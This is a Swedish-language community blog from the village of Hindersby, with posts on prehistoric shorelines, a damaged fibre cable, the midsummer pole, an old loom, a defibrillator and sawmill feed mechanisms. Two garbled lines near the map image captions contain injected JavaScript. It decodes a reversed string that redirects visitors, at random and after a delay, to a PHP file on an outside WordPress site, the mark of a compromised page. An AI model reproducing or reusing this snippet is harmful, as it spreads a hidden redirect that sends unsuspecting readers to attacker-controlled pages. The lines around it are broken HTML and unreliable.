Allting på dessa sidor bör skyllas enbart på Nisse Husberg (foto oktober 2021)
Fotoalbumet är igång igen MEN bara inom vårt eget fibernät. Det skall så småningom komma ut på Internet (fot.hindersby.net) bara vi får igång en säker anslutning. Tills vidare borde det fungera med
192.168.100.77/photo
Den 4 augusti 2020: Vi testar fortfarande men nu borde det också fungera med
Jag råkade se en karta över Östra Nyland för 7000 år sedan. Geologerna har forskat i var strandlinjerna har gått i forna tider och i ett gradu-arbete från 2013 har Susanne Åberg samlat ihop informationen och bland annat finns där en karta över Lappträsk. Med hjälp av den informationen så har jag gjort upp en karta över södra Lappträsk så som det troligen såg ut för 7000 år sedan.
Så här såg det ut (förutom lador och stolpar) för 7000 år sedan vid sjön på Petjärmosan som var en vik till Litorinahavet.
Som störst var Litorinahavet ännu tio meter högre så att bara Föusbjärji och Bisahöjden och liknande berg var kobbar i havet. Hela Pockarslätten låg under vatten och Lappträsket var en vik i Litorinahavet.
Det är mycket vanskligt att bedöma när strandlinjen var på en viss plats för landhöjningen var inte alls likformig utan ibland så steg vattnet i stället för att sjunka. Intressant är att alla insjöarna flöt ut i Bottenviken som låg över 100 meter lägre än nu. Därför är landhöjningen störst där nu också. Så småningom stängdes utloppen till Bottenviken och insjöarna började i stället tömmas via Kymmene älv som bara är omkring 5000 år gammal.
För omkring 5000-6000 år sedan var hela Hindersby ovanför havsytan – men troligen sanka strandängar och våtmossar. Då gick en vik ännu upp till Harsböle och Lovisaviken gick upp till Hommansby norra del längs nuvarande Lappträsk å. Lovisa (Degerby) hade fått landkontakt. Kymmene älv börjar synas. Lägg märke till att Särkijärvi ligger mycket högt. Det är omgivet av land som aldrig var under vatten på Litorinahavets tid. Likaså Skokelträsket. Hopom träsk ligger också ganska högt över havet.
Ännu på senatens karta från 1874 fanns det en mängd våtmossar i våra skogar som först senare blev utdikade. Åkernamn som Petjärmosan och Aaltjärri visar att det var våta marker.
Enligt ny forskning lär det ha varit en verklig fimbulvinter år 536-538 på grund av två stora vulkanutbrott som skymde solen. Hälften av Sveriges befolkning försvann och stora byar blev öde. Från Uppsalatrakten flyttade många till Åland då odling blev omöjlig så fiske var enda näringen. Troligen var det lika illa eller värre i Finland på fastlandet.
Folkvandringar är inget nytt fenomen. Troligen var våra förfäder folk som sökte sej till kusten för att fiska och senare syssla med boskapsskötsel på stränderna och till sist odlade upp de ängar som inte var alltför vattensjuka.
Och här sitter vi nu och gnäller över att det är litet för varmt, eller litet för torrt (eller vått).
(Flyttat från kommentar till inlägg)
Som man kunde gissa så grävde de av vår fiberkabel vid Lilstubackan fastän jag visade dem precis var den går (synlig på ytan). Men ena hörnet på grävskopan drog loss den från skarven. De har ny en mindre maskin där men olyckan är redan ett faktum. Det går ju inte att stiga ur maskinen och ta tag i en spade …
Fredrik kommer och svetsar ihop den – hoppeligen redan i dag.
Ett tag såg det ut att det inte skulle bli någon traditionell johannistang men Fornminnesföreningen beslöt att trots koronavarningarna sätta upp den med försiktighet. Ingen servering och kransbindning på distans. Jag hade stora lastaren på traktorn för att lyfta upp material för taklagandet så det passade bra att ta ned stången med den.
Stången visade sej vara i gott skick så den fick fortsätta ett år till med byte av nedre bulten. Trots det inskränkta firandet så kom det i alla fall en hel del folk (50 personer) på picknick. Och stången blev prydd enligt traditionen.
Upphissandet gick också bra även om det var ny förare i traktorn. Det dubbla utskjutet gjorde det lättare att hålla stången rakt i sidled.
Och så fick Lekstrand en fin johannistang också år 2020:
Det har varit hett en längre tid och på torsdagen kom det ett värre åskväder rakt över Hindersby. Vi fick omkring 20 mm regn i södra delen men det lär ha kommit betydligt mindre längre norrut. Till all tur klarade sej stomnätet även om vi fått in en del felanmälningar – troligen nån mediakonverter som gått sönder.
Regnet var välkommet för brodden i torkan även om vårt takarbete fick ta en paus. Men vi har prima pärttak kvar under plattorna så det var inte så allvarligt (se Plattåtak). Torkan och hettan skall fortsätta enligt tiodygnsprognosen.
Grävmaskiner har rört sej genom byn den senaste tiden. De gräver ned en fiberkabel (oklart för vem …) och kommer från Baggkärret genom byn vid Lillstubackan och fortsätter till Lindkoski. Vår fiberkabel är i fara vid Lillstubackan men grävmaskinerna förflyttades till Ollas Hildings där de fortsätter längs Havergärdsvägen. På måndag kommer en mindre maskin till Lillstubackan. Skäggasbackan är också kvar. Ingen förstår varför de skall genom de värsta backarna i byn men nån planerare har väl bara sett på kartan.
Kabeln körs ned med kabelplog fäst vid grävmaskinen och kommer ungefär 80 cm under vägdikets botten. Utom vid stenbackarna. Det finns risk för att kablar och vattenledningar tar stryk men vi försöker vara med och skydda vår fiberkabel.
Styrelsen beslöt för ganska länge sedan att upplåta ett utrymme i slöjdsalen för en vävstol. I dag förde vi dit Bos-Sestu gamla vävstol som senast min mamma (född Majlis Mickels) använde. Hon var mycket intresserad av att väva men den sista mattan blev på hälft då hon inte mera kunde slå in mattväften. Tillsammans med Edit från Västergårds diskuterade de vävandet och klippte mattväft tillsammans.
Hur gammal vävstolen är vet ingen men jag tippar på slutet av 1800-talet då trasmattorna på allvar kom till vanligt folks hem. Före det hade man halm eller ris på golvet.
Håkan Streng skrev en visa om “Vävasjuko” som inte alls är överdriven. Min mormors morfar, Stuvus Gabriel från Virböle, hade i andra giftet en gumma från Hindersby som hade vevansjuukån. Hon satt och vävde hela tiden och märkte inte att det blev mattider förrän hon såg arbetsfolket komma hem från åkern. Då lagade hon mat i sådan brådska att den var halvt rå och Gabriel fick sjuk mage. Så det var verkligen som i vevansjuukån …
Håkan Sträng: Vävasjuko
A ni höört va ti dårskaap såm kumi ti staan –
Martha e löös, jaga ena jaan !
Ho blandar bort tjärnga å gobba fåår liid
jär finns int e längä na frid
Kvinnfåltschi låckas ti faa heimifrån
ti na hus såm di låås kall ti martha-gååln.
Tär sitär di saan heila daan å donkar i na stool
å klippa såndär klädra från ifjol.
Refr. He e vävasjuuko såm ha drabba döm all,
tro me dehär vaar no samhällis fall.
Gobba haldär nästan på å svälter i hääl –
tokotee slutar aldä vääl.
(finns på Youtube Vävasjuuko Håkan Streng)
Idag så skruvade vi upp en hjärtstartare/defibrillator på gamla folkskolan. Den kommer man åt dag och natt men den börjar skrika då kåpan öppnas (vrid motsols). Det gör ju inget då det är allvar men hindrar ofog. Märk väl att vi har kameraövervakning vid skolan.
Ovan skruvar Rolf Enqvist fast kåpan på verandans vägg.
Men fråga inte mej hur den skall användas. Vi testade och den började prata och berätta hur man skall göra. En viss utbildning är förstås till nytta men den lär vara så smart att den inte gör skada heller.
Efter en hel del vedermödor med traktorerna (två är sönder igen) så lyckades vi i dag slå gräset vid folkskolan. Det hade växt alldeles enormt bara på nån vecka. Man måste slå det förrän det blir övermäktigt och stammarna förvedas. Vi hade trimmerhuvud på två stora röjsågar och alla hästkrafterna behövdes nog.
Gräset var redan så långt att man knappt såg de nya äppelträden men de är alla fyra i gott skick . Cembratallen är också grön och frodig även om den växer långsammare.
Vi tog också bort de gamla värmebatterierna i slöjdsalen. De är grymt tunga eftersom en del är tredubbla. Om nån behöver så är det bara att hämta. Annars går de till skrot. Enligt en lapp på baksidan är de tillverkade av Upo i Lahtis och innehåller tiotals kilo järn så det är inte tunnplåtsbatterier. Bakom dem kom den ursprungliga färgen på skolsalen fram. Den litet mörkare färgen är troligen den allra äldsta. Mycket snyggare än den s-tbruna plastfärgen från 80-talet.
Rören finns ännu kvar men de skall också bort bara vi hittar tillräckligt kraftiga verktyg. Slöjdsalen är ganska rörig just nu men det passar bra att göra det här arbetet nu då vi inte kan ha någon verksamhet där.
Det sitter förresten en näktergal och sjunger i trädgården som om den fått betalt för det.
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>torina_Lapptresk_100pixel_mm_skuri_10m_skuri_veeg-scaled.jpg”><img decoding=){kind=link}
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>torina_Lapptresk_100pixel_mm_skuri_15m_skuri-scaled.jpg”><img decoding=){kind=link}
Kanske jag var lite obetänksam då jag lovade förklara skillnaden mellan knyck- och kontinuerlig matning på ramsågar. Här ändå ett försök.
I båda systemen låg stockarna på tandade valsar, knappt 15 cm i diameter, som drog stockarna framåt. Ovanifrån var stockarna belastade med ställbara, ganska tunga men släta valsar som saknade drivning.
Knyckmatningen hade ett finurligt system som gjorde, att då ramen gick uppåt stod drivvalsarna stilla, och då ramen under arbetsskedet gick nedåt roterade drivvalsarna och flyttade stocken framåt. Framdrivningshastigheten var ställbar genom att man kunde reglera hur mycket valsarna roterade under varje knyck. Om man t.ex. sågade 2×4 tums ”battingar” ur små stockar kunde man ha en hög hastighet och om man åter sågade bräder ur en större stock fick man nöja sig med en mindre. Som mest kunde man ha 7 bett i ramen och fick då 6 st. bräder eller t.ex. 2 plankor och 4 bräder.
I den kontinuerliga matningen roterade drivvalsarna hela tiden och tryckte stockarna mot betten. Rotationshastigheten var också här reglerbar. Rafael hade därtill byggt ett system med kugghjul och kedjor så, att också den övre, bakre valsen var tandad och hade framdrivning. Jag lämnar här bort den tekniska beskrivningen av vardera systemet, men helt enkla var de inte.
Vardera systemet hade sina för- och nackdelar. Den kontinuerliga matningen var kanske oftast effektivare då den mer eller mindre tvingade stocken framåt. Knyckmatningen uppvisade (i sina bästa stunder) en slags ”elegans”, då den kontinuerliga mera litade på rå styrka.
Ambergs såg hade också knyckmatning. Lennart Amberg konstruerade själv kontinuerlig matning på sin såg men bytte tillbaka till knyckmatning som han tyckte fungerade bättre. Kanske t.ex. sågbetten borde vara lite olika vässta för att få maximal effekt i vardera systemet. Jag vet inte, och frågeställningen är knappast längre aktuell.
I båda systemen gick ramen upp och ner ca 4 ggr per sekund (om jag räknade rätt). I knyckmatnin-gen kunde ögat ändå tydligt urskilja att rörelsen skedde i små knyckar. Remskivan på sågen var ca 1 meter i diameter och med avsikt gjord tung av gjutjärn. Dessutom fanns på vevaxeln tunga gjutna svänghjul. Då axeln roterade ca 280varv/min, så balanserade svänghjulen effektivt upp ramens upp- och nedåtgående rörelser, (ca 40 cm) och utan belastning gick sågen nästan ljudlöst och utan vibrationer.
Man blir lite nostalgisk då man tänker tillbaka till tiderna då bl.a. de här sågarna var i användning.
Man påminns om den livliga företagsamhet, heltäckande service (skola, butik, mejeri, bank, post, 8 bussturer per dag mm. mm.) och den starka framtidstro som då rådde i byn. Då fanns över 500 invånare i byn, nu under 250.
Bengt Antas